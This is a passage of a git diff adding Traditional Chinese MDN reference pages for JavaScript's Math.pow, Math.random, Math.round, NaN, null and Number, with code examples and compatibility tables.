+Math.pow(2, 1/3);  // 1.2599210498948732 （2 的立方根）
+// signed exponents
+Math.pow(7, -2);   // 0.02040816326530612 (1/49)
+Math.pow(8, -1/3); // 0.5
+// signed bases
+Math.pow(-7, 2);   // 49 (負負得正，2次方都是正數)
+Math.pow(-7, 3);   // -343 (3次方有可能為負數)
+Math.pow(-7, 0.5); // NaN (負數沒辦法得出一個實數平方根)
+// due to "even" and "odd" roots laying close to each other,
+// and limits in the floating number precision,
+// negative bases with fractional exponents always return NaN
+Math.pow(-7, 1/3); // NaN
+</pre>
+
+<h2 id="規範">規範</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">規範</th>
+   <th scope="col">狀態</th>
+   <th scope="col">註解</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Initial definition. Implemented in JavaScript 1.0.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.8.2.13', 'Math.pow')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-math.pow', 'Math.pow')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-math.pow', 'Math.pow')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="瀏覽器相容性">瀏覽器相容性</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("javascript.builtins.Math.pow")}}</p>
+
+<h2 id="參見">參見</h2>
+
+<ul>
+ <li>{{jsxref("Math.cbrt()")}}</li>
+ <li>{{jsxref("Math.exp()")}}</li>
+ <li>{{jsxref("Math.log()")}}</li>
+ <li>{{jsxref("Math.sqrt()")}}</li>
+ <li><a href="https://developer.mozilla.org/zh-TW/docs/Web/JavaScript/Reference/Operators/Arithmetic_Operators#Exponentiation" title="Arithmetic operators take numerical values (either literals or variables) as their operands and return a single numerical value. The standard arithmetic operators are addition (+), subtraction (-), multiplication (*), and division (/).">Exponentiation operator</a> {{experimental_inline}}</li>
+</ul>
diff --git a/files/zh-tw/web/javascript/reference/global_objects/math/random/index.html b/files/zh-tw/web/javascript/reference/global_objects/math/random/index.html
new file mode 100644
index 0000000000..4f7b65f844
--- /dev/null
+++ b/files/zh-tw/web/javascript/reference/global_objects/math/random/index.html
@@ -0,0 +1,95 @@
+---
+title: Math.random()
+slug: Web/JavaScript/Reference/Global_Objects/Math/random
+tags:
+  - 浮點數
+  - 隨機
+translation_of: Web/JavaScript/Reference/Global_Objects/Math/random
+---
+<div>{{JSRef}}</div>
+
+<p>函數 <strong><code>Math.random()</code></strong> 會回傳一個偽隨機小數 (pseudo-random) 介於0到1之間(包含 0，不包含1) ，大致符合數學與統計上的均勻分佈 (uniform distribution) ，您可以選定想要的數字區間，它會透過演算法被產生並且不允許使用者自行跳選或重設成特定數字。{{EmbedInteractiveExample("pages/js/math-random.html")}}</p>
+
+<div class="note">
+<p><code>Math.random()</code> 所產生的偽隨機小數不符合加密學安全性要求。<em>請勿使用於任何加密、資安相關領域。</em></p>
+
+<p><em>如有加密需求建議參考Web Crypto API</em><a href="/en-US/docs/Web/API/RandomSource/getRandomValues" title="The documentation about this has not yet been written; please consider contributing!"><code>window.crypto.getRandomValues()</code></a></p>
+</div>
+
+<h2 id="語法">語法</h2>
+
+<pre class="syntaxbox notranslate">Math.random()</pre>
+
+<h3 id="回傳值_Return_value">回傳值 Return value</h3>
+
+<p>回傳一個偽隨機小數 (pseudo-random)，小數也稱浮點數； 介於0到1之間(包含 0，不包含1) 。</p>
+
+<h2 id="範例">範例</h2>
+
+<p>請留意JavaScript中的數字與許多語言一樣使用 IEEE 754 floating point numbers with round-to-nearest-even behavior, the ranges claimed for the functions below (excluding the one for <code>Math.random()</code> itself) aren't exact. If extremely large bounds are chosen (2<sup>53</sup> or higher), it's possible in <em>extremely</em> rare cases to calculate the usually-excluded upper bound.</p>
+
+<h3 id="Getting_a_random_number_between_0_inclusive_and_1_exclusive">Getting a random number between 0 (inclusive) and 1 (exclusive)</h3>
+
+<pre class="brush: js notranslate">function getRandom() {
+  return Math.random();
+}
+</pre>
+
+<h3 id="Getting_a_random_number_between_two_values">Getting a random number between two values</h3>
+
+<p>This example returns a random number between the specified values. The returned value is no lower than (and may possibly equal) <code>min</code>, and is less than (and not equal) <code>max</code>.</p>
+
+<pre class="brush: js notranslate">function getRandomArbitrary(min, max) {
+  return Math.random() * (max - min) + min;
+}
+</pre>
+
+<h3 id="Getting_a_random_integer_between_two_values">Getting a random integer between two values</h3>
+
+<p>This example returns a random <em>integer</em> between the specified values. The value is no lower than <code>min</code> (or the next integer greater than <code>min</code> if <code>min</code> isn't an integer), and is less than (but not equal to) <code>max</code>.</p>
+
+<pre class="brush: js notranslate">function getRandomInt(min, max) {
+  min = Math.ceil(min);
+  max = Math.floor(max);
+  return Math.floor(Math.random() * (max - min) + min); //The maximum is exclusive and the minimum is inclusive
+}
+</pre>
+
+<div class="note">
+<p>It might be tempting to use <code>Math.round()</code> to accomplish that, but doing so would cause your random numbers to follow a non-uniform distribution, which may not be acceptable for your needs.</p>
+</div>
+
+<h3 id="Getting_a_random_integer_between_two_values_inclusive">Getting a random integer between two values, inclusive</h3>
+
+<p>While the <code>getRandomInt()</code> function above is inclusive at the minimum, it's exclusive at the maximum. What if you need the results to be inclusive at both the minimum and the maximum? The <code>getRandomIntInclusive()</code> function below accomplishes that.</p>
+
+<pre class="brush: js notranslate">function getRandomIntInclusive(min, max) {
+  min = Math.ceil(min);
+  max = Math.floor(max);
+  return Math.floor(Math.random() * (max - min + 1) + min); //The maximum is inclusive and the minimum is inclusive
+}</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-math.random', 'Math.random')}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="瀏覽器相容性">瀏覽器相容性</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("javascript.builtins.Math.random")}}</p>
+
+<h2 class="countTop" id="其他參考資料">其他參考資料</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/RandomSource/getRandomValues" title="The documentation about this has not yet been written; please consider contributing!"><code>window.crypto.getRandomValues()</code></a></li>
+</ul>
diff --git a/files/zh-tw/web/javascript/reference/global_objects/math/round/index.html b/files/zh-tw/web/javascript/reference/global_objects/math/round/index.html
new file mode 100644
index 0000000000..5e6a0ea694
--- /dev/null
+++ b/files/zh-tw/web/javascript/reference/global_objects/math/round/index.html
@@ -0,0 +1,212 @@
+---
+title: Math.round()
+slug: Web/JavaScript/Reference/Global_Objects/Math/round
+tags:
+  - JavaScript
+  - Math
+  - Method
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Math/round
+---
+<div>{{JSRef}}</div>
+
+<p><strong><code>Math.round()</code></strong> 函數回傳四捨五入後的近似值.</p>
+
+<h2 id="表達式">表達式</h2>
+
+<pre class="syntaxbox"><code>Math.round(<var>x</var>)</code></pre>
+
+<h3 id="參數">參數</h3>
+
+<dl>
+ <dt><code>x</code></dt>
+ <dd>數字.</dd>
+</dl>
+
+<h2 id="描述">描述</h2>
+
+<p>如果小數位的部分值大於 0.5, 這個值將會進位. 如果小數位的部分值小於 0.5, 這個值將不會進位.</p>
+
+<p>由於 <code>round()</code> 是靜態的方法, 所以總是得這樣使用 <code>Math.round()</code>, 而非作為 <code>Math</code> 物件的一個方法 (<code>Math</code>並沒有建構子).</p>
+
+<h2 id="範例">範例</h2>
+
+<h3 id="使用_Math.round()">使用 <code>Math.round()</code></h3>
+
+<pre class="brush: js">// Returns the value 20
+x = Math.round(20.49);
+
+// Returns the value 21
+x = Math.round(20.5);
+
+// Returns the value -20
+x = Math.round(-20.5);
+
+// Returns the value -21
+x = Math.round(-20.51);
+
+// Returns the value 1 (!)
+// Note the rounding error because of inaccurate floating point arithmetics
+// Compare this with Math.round10(1.005, -2) from the example below
+x = Math.round(1.005*100)/100;
+</pre>
+
+<h3 id="十進位近似值">十進位近似值</h3>
+
+<pre class="brush: js">// 閉包含數
+(function() {
+  /**
+   * Decimal adjustment of a number.
+   *
+   * @param {String}  type  The type of adjustment.
+   * @param {Number}  value The number.
+   * @param {Integer} exp   The exponent (the 10 logarithm of the adjustment base).
+   * @returns {Number} The adjusted value.
+   */
+  function decimalAdjust(type, value, exp) {
+    // If the exp is undefined or zero...
+    if (typeof exp === 'undefined' || +exp === 0) {
+      return Math[type](value);
+    }
+    value = +value;
+    exp = +exp;
+    // If the value is not a number or the exp is not an integer...
+    if (isNaN(value) || !(typeof exp === 'number' &amp;&amp; exp % 1 === 0)) {
+      return NaN;
+    }
+    // Shift
+    value = value.toString().split('e');
+    value = Math[type](+(value[0] + 'e' + (value[1] ? (+value[1] - exp) : -exp)));
+    // Shift back
+    value = value.toString().split('e');
+    return +(value[0] + 'e' + (value[1] ? (+value[1] + exp) : exp));
+  }
+
+  // Decimal round
+  if (!Math.round10) {
+    Math.round10 = function(value, exp) {
+      return decimalAdjust('round', value, exp);
+    };
+  }
+  // Decimal floor
+  if (!Math.floor10) {
+    Math.floor10 = function(value, exp) {
+      return decimalAdjust('floor', value, exp);
+    };
+  }
+  // Decimal ceil
+  if (!Math.ceil10) {
+    Math.ceil10 = function(value, exp) {
+      return decimalAdjust('ceil', value, exp);
+    };
+  }
+})();
+
+// Round
+Math.round10(55.55, -1);   // 55.6
+Math.round10(55.549, -1);  // 55.5
+Math.round10(55, 1);       // 60
+Math.round10(54.9, 1);     // 50
+Math.round10(-55.55, -1);  // -55.5
+Math.round10(-55.551, -1); // -55.6
+Math.round10(-55, 1);      // -50
+Math.round10(-55.1, 1);    // -60
+Math.round10(1.005, -2);   // 1.01 -- compare this with Math.round(1.005*100)/100 above
+// Floor
+Math.floor10(55.59, -1);   // 55.5
+Math.floor10(59, 1);       // 50
+Math.floor10(-55.51, -1);  // -55.6
+Math.floor10(-51, 1);      // -60
+// Ceil
+Math.ceil10(55.51, -1);    // 55.6
+Math.ceil10(51, 1);        // 60
+Math.ceil10(-55.59, -1);   // -55.5
+Math.ceil10(-59, 1);       // -50
+</pre>
+
+<h2 id="規範">規範</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">規範</th>
+   <th scope="col">狀態</th>
+   <th scope="col">註</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Initial definition. Implemented in JavaScript 1.0.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.8.2.15', 'Math.round')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-math.round', 'Math.round')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="瀏覽器相容性">瀏覽器相容性</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="參見">參見</h2>
+
+<ul>
+ <li>{{jsxref("Math.abs()")}}</li>
+ <li>{{jsxref("Math.ceil()")}}</li>
+ <li>{{jsxref("Math.floor()")}}</li>
+ <li>{{jsxref("Math.sign()")}} {{experimental_inline}}</li>
+ <li>{{jsxref("Math.trunc()")}} {{experimental_inline}}</li>
+</ul>
diff --git a/files/zh-tw/web/javascript/reference/global_objects/nan/index.html b/files/zh-tw/web/javascript/reference/global_objects/nan/index.html
new file mode 100644
index 0000000000..ef027d387f
--- /dev/null
+++ b/files/zh-tw/web/javascript/reference/global_objects/nan/index.html
@@ -0,0 +1,85 @@
+---
+title: NaN
+slug: Web/JavaScript/Reference/Global_Objects/NaN
+translation_of: Web/JavaScript/Reference/Global_Objects/NaN
+---
+<div>{{jsSidebar("Objects")}}</div>
+
+<p>全域屬性 <code><strong>NaN</strong></code> 表示「非數值」（Not-A-Number）的數值。</p>
+
+<p>{{js_property_attributes(0,0,0)}}</p>
+
+<div>{{EmbedInteractiveExample("pages/js/globalprops-nan.html")}}</div>
+
+<h2 id="語法">語法</h2>
+
+<pre class="syntaxbox"><code>NaN</code></pre>
+
+<h2 id="描述">描述</h2>
+
+<p><code>NaN</code> 的屬性屬於<em>全域物件</em>。</p>
+
+<p>如同 {{jsxref("Number.NaN")}} 一般，<code>NaN</code> 的初始數值是「非數值」。在當今的瀏覽器中，<code>NaN</code> 屬性不可設定（non-configurable）也不可覆寫（non-writable）。雖然可能有例外，也請不要覆蓋它。</p>
+
+<p>寫程式很少會直接動用 <code>NaN</code>。通常是在 {{jsxref("Math")}} 函式計算失敗（<code>Math.sqrt(-1)</code>）或函式解析數字失敗（<code>parseInt("blabla")</code>）後才會回傳。</p>
+
+<h3 id="偵測是否為_NaN">偵測是否為 <code>NaN</code></h3>
+
+<p><code>NaN</code> 不等於（<code>==</code>、<code>!=</code>、<code>===</code>、<code>!==</code>）任何值，包括 NaN 本身。請使用 {{jsxref("Number.isNaN()")}} 或 {{jsxref("Global_Objects/isNaN", "isNaN()")}} 來確認某個數值是否為 NaN。Or perform a self-comparison: NaN, and only NaN, will compare unequal to itself.</p>
+
+<pre class="brush: js">NaN === NaN;        // false
+Number.NaN === NaN; // false
+isNaN(NaN);         // true
+isNaN(Number.NaN);  // true
+
+function valueIsNaN(v) { return v !== v; }
+valueIsNaN(1);          // false
+valueIsNaN(NaN);        // true
+valueIsNaN(Number.NaN); // true
+</pre>
+
+<p>但請注意 <code>isNaN()</code> 與 <code>Number.isNaN()</code> 之間是有區別的：前者會在目前數字是 <code>NaN</code> 的時候回傳 <code>true</code>，或在裡面包藏一個號碼後變成 <code>NaN</code>；而後者，只有在數值是 <code>NaN</code> 的時候才會回傳 <code>true</code>。</p>
+
+<h2 id="規範">規範</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">規範</th>
+   <th scope="col">狀態</th>
+   <th scope="col">註解</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>初始定義。JavaScript 1.3 導入</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.1.1.1', 'NaN')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-value-properties-of-the-global-object-nan', 'NaN')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-value-properties-of-the-global-object-nan', 'NaN')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="瀏覽器相容性">瀏覽器相容性</h2>
+
+<p>{{Compat("javascript.builtins.NaN")}}</p>
+
+<h2 id="參見">參見</h2>
+
+<ul>
+ <li>{{jsxref("Number.NaN")}}</li>
+ <li>{{jsxref("Number.isNaN()")}}</li>
+ <li>{{jsxref("isNaN", "isNaN()")}}</li>
+</ul>
diff --git a/files/zh-tw/web/javascript/reference/global_objects/null/index.html b/files/zh-tw/web/javascript/reference/global_objects/null/index.html
new file mode 100644
index 0000000000..0af88facab
--- /dev/null
+++ b/files/zh-tw/web/javascript/reference/global_objects/null/index.html
@@ -0,0 +1,124 @@
+---
+title: 'null'
+slug: Web/JavaScript/Reference/Global_Objects/null
+translation_of: Web/JavaScript/Reference/Global_Objects/null
+---
+<div>{{jsSidebar("Objects")}}</div>
+
+<p>The value <code>null</code> represents the intentional absence of any object value. It is one of JavaScript's {{Glossary("Primitive", "primitive values")}}.</p>
+
+<h2 id="語法">語法</h2>
+
+<pre class="syntaxbox"><code>null </code></pre>
+
+<h2 id="描述">描述</h2>
+
+<p>The value <code>null</code> is written with a literal, <code>null</code> (it's not an identifer for a property of the global object like {{jsxref("Global_Objects/undefined","undefined")}} can be). In APIs, <code>null</code> is often retrieved in place where an object can be expected but no object is relevant. When checking for null or undefined beware of the <a href="/en-US/docs/Web/JavaScript/Reference/Operators/Comparison_Operators">differences between equality (==) and identity (===) operators</a> (type-conversion is performed with the former).</p>
+
+<pre class="brush: js">// foo does not exist. It is not defined and has never been initialized:
+&gt; foo
+"ReferenceError: foo is not defined"
+
+// foo is known to exist now but it has no type or value:
+&gt; var foo = null; foo
+"null"
+</pre>
+
+<h3 id="Difference_between_null_and_undefined">Difference between <code>null</code> and <code>undefined</code></h3>
+
+<pre class="brush: js">typeof null        // object (bug in ECMAScript, should be null)
+typeof undefined   // undefined
+null === undefined // false
+null  == undefined // true
+</pre>
+
+<h2 id="規範">規範</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-4.3.11', 'null value')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-null-value', 'null value')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-null-value', 'null value')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="瀏覽器相容性">瀏覽器相容性</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="參見">參見</h2>
+
+<ul>
+ <li>{{jsxref("undefined")}}</li>
+ <li>{{jsxref("NaN")}}</li>
+</ul>
diff --git a/files/zh-tw/web/javascript/reference/global_objects/number/index.html b/files/zh-tw/web/javascript/reference/global_objects/number/index.html
new file mode 100644
index 0000000000..8a023d1603
--- /dev/null
+++ b/files/zh-tw/web/javascript/reference/global_objects/number/index.html
@@ -0,0 +1,219 @@
+---
+title: Number
+slug: Web/JavaScript/Reference/Global_Objects/Number
+tags:
+  - JavaScript
+  - NeedsTranslation
+  - Number
+  - Reference
+  - TopicStub
+translation_of: Web/JavaScript/Reference/Global_Objects/Number
+---
+<div>{{JSRef}}</div>
+
+<p><strong><code>Number</code></strong> JavaScript 物件是允許你操作數值的包覆物件. <code>Number</code> 物件是以 <code>Number()</code> 建構子來建立的。</p>
+
+<h2 id="語法">語法</h2>
+
+<pre class="syntaxbox">new Number(value);</pre>
+
+<h3 id="參數">參數</h3>
+
+<dl>
+ <dt><code>value</code></dt>
+ <dd>用來建立物件的數值。</dd>
+</dl>
+
+<h2 id="說明">說明</h2>
+
+<p><code>Number</code> 物件主要的用途：</p>
+
+<ul>
+ <li>如果參數沒辦法被轉換成數字，則它會回傳 {{jsxref("NaN")}} 。</li>
+ <li>在不是使用建構式的情境中(即不用 {{jsxref("Operators/new", "new")}} 運算子), <code>Number</code> 可以被用來轉換型別.</li>
+</ul>
+
+<h2 id="屬性">屬性</h2>
+
+<dl>
+ <dt>{{jsxref("Number.EPSILON")}}</dt>
+ <dd>介於1和大於1的最小值之可表示的差。</dd>
+ <dt>{{jsxref("Number.MAX_SAFE_INTEGER")}}</dt>
+ <dd>JavaScript 中 IEEE-754 雙精度範圍間的最大整數 (<code>2<sup>53</sup> - 1</code>) 。</dd>
+ <dt>{{jsxref("Number.MAX_VALUE")}}</dt>
+ <dd>可表示的最大正整數。</dd>
+ <dt>{{jsxref("Number.MIN_SAFE_INTEGER")}}</dt>
+ <dd>JavaScript 中 IEEE-754 雙精度範圍間的最小整數 (<code>-(2<sup>53</sup> - 1)</code>) 。</dd>
+ <dt>{{jsxref("Number.MIN_VALUE")}}</dt>
+ <dd>可表示的最小值，即最靠近0的正整數?(<code><math><semantics><mrow><mn>5.00</mn><mo>×</mo><msup><mn>10</mn><mn>324</mn></msup></mrow><annotation encoding="TeX">5.00\times10^{324}</annotation></semantics></math></code>)。</dd>
+ <dt>{{jsxref("Number.NaN")}}</dt>
+ <dd>特別用來表示<strong>非數值</strong>的物件。</dd>
+ <dt>{{jsxref("Number.NEGATIVE_INFINITY")}}</dt>
+ <dd>特別用來表示<strong>負無窮</strong>的數值。</dd>
+ <dt>{{jsxref("Number.POSITIVE_INFINITY")}}</dt>
+ <dd>特別用來表示<strong>正無窮</strong>的數值。</dd>
+ <dt>{{jsxref("Number.prototype")}}</dt>
+ <dd>允許被添加到 <code>Number</code> 物件的屬性。</dd>
+</dl>
+
+<h2 id="方法">方法</h2>
+
+<dl>
+ <dt>{{jsxref("Number.isNaN()")}}</dt>
+ <dd>判斷傳入的值是不是 NaN.</dd>
+ <dt>{{jsxref("Number.isFinite()")}}</dt>
+ <dd>判斷傳入的值是不是一個有限的數值。</dd>
+ <dt>{{jsxref("Number.isInteger()")}}</dt>
+ <dd>判斷傳入的值是不是一個整數。</dd>
+ <dt>{{jsxref("Number.isSafeInteger()")}}</dt>
+ <dd>判斷傳入的值是不是在 IEEE-754 雙精度範圍間 (即介於 <code>-(2<sup>53</sup> - 1)</code> 和 <code>2<sup>53</sup> - 1</code>之前)。</dd>
+ <dt><s class="obsoleteElement">{{jsxref("Number.toInteger()")}} {{obsolete_inline}}</s></dt>
+ <dd><s class="obsoleteElement">被用來評估傳入的值且將其轉換成整數 (或 {{jsxref("Global_Objects/Infinity", "Infinity")}}) 但已被移除。</s></dd>
+ <dt>{{jsxref("Number.parseFloat()")}}</dt>
+ <dd>這個方法和全域物件的 {{jsxref("parseFloat", "parseFloat()")}} 相同。</dd>
+ <dt>{{jsxref("Number.parseInt()")}}</dt>
+ <dd>這個方法和全域物件的 {{jsxref("parseInt", "parseInt()")}} 相同。</dd>
+</dl>
+
+<h2 id="Number_實體"><code>Number</code> 實體</h2>
+
+<p>所有 <code>Number</code> 實體都會繼承其建構式的 {{jsxref("Number.prototype")}}。<code>Number</code> 的原型物件可以被修改並作用在所有 <code>Number</code> 實體。</p>
+
+<h3 id="方法_2">方法</h3>
+
+<div>{{page('/zh-TW/docs/Web/JavaScript/Reference/Global_Objects/Number/prototype', '方法')}}</div>
+
+<h2 id="範例">範例</h2>
+
+<h3 id="使用_Number_物件去指派值給數值變數">使用 <code>Number</code> 物件去指派值給數值變數</h3>
+
+<p>下列的範例使用 <code>Number</code> 物件的屬性去指派值給數個數值變數：</p>
+
+<pre class="brush: js">var biggestNum = Number.MAX_VALUE;
+var smallestNum = Number.MIN_VALUE;
+var infiniteNum = Number.POSITIVE_INFINITY;
+var negInfiniteNum = Number.NEGATIVE_INFINITY;
+var notANum = Number.NaN;
+</pre>
+
+<h3 id="Number_的整數範圍"><code>Number</code> 的整數範圍</h3>
+
+<p>下面的範例展示了最小和最大的整數，其可以被表示成 <code>Number</code> 物件(細節請參考 ECMAScript standard, chapter <em>8.5 The Number Type</em>)：</p>
+
+<pre class="brush: js">var biggestInt = 9007199254740992;
+var smallestInt = -9007199254740992;
+</pre>
+
+<p>當在解析已經被序列化的 JSON 的資料時，填入這個範圍之外的整數並且 JSON 剖析器強制將其轉成 <code>Number</code> 型別造成損壞是可預期的。將範圍之外的正數換成以 {{jsxref("String")}} 表示反倒是一個可行的替代方案。</p>
+
+<h3 id="使用_Number_轉換_Date_物件為_Unix_時間戳記">使用 <code>Number</code> 轉換 <code>Date</code> 物件為 Unix 時間戳記</h3>
+
+<p>下面的範例將 <code>Number</code> 視為函式，並且使用它將 {{jsxref("Date")}} 轉換成時間戳記：</p>
+
+<pre class="brush: js">var d = new Date('December 17, 1995 03:24:00');
+console.log(Number(d)); // 819199440000
+
+</pre>
+
+<h3 id="轉換數值字串成數值">轉換數值字串成數值</h3>
+
+<pre class="brush: js">Number("123")     // 123
+Number("12.3")    // 12.3
+Number("")        // 0
+Number("0x11")    // 17
+Number("0b11")    // 3
+Number("0o11")    // 9
+Number("foo")     // NaN
+Number("100a")    // NaN
+</pre>
+
+<h2 id="規範">規範</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">規範</th>
+   <th scope="col">狀態</th>
+   <th scope="col">註記</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Initial definition. Implemented in JavaScript 1.1.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.7', 'Number')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-number-objects', 'Number')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>New methods and properties added: {{jsxref("Number.EPSILON", "EPSILON")}}, {{jsxref("Number.isFinite", "isFinite")}}, {{jsxref("Number.isInteger", "isInteger")}}, {{jsxref("Number.isNaN", "isNaN")}}, {{jsxref("Number.parseFloat", "parseFloat")}}, {{jsxref("Number.parseInt", "parseInt")}}</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-number-objects', 'Number')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="瀏覽器相容">瀏覽器相容</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="參見">參見</h2>
+
+<ul>
+ <li>{{jsxref("NaN")}}</li>
+ <li>The {{jsxref("Math")}} global object</li>
+</ul>
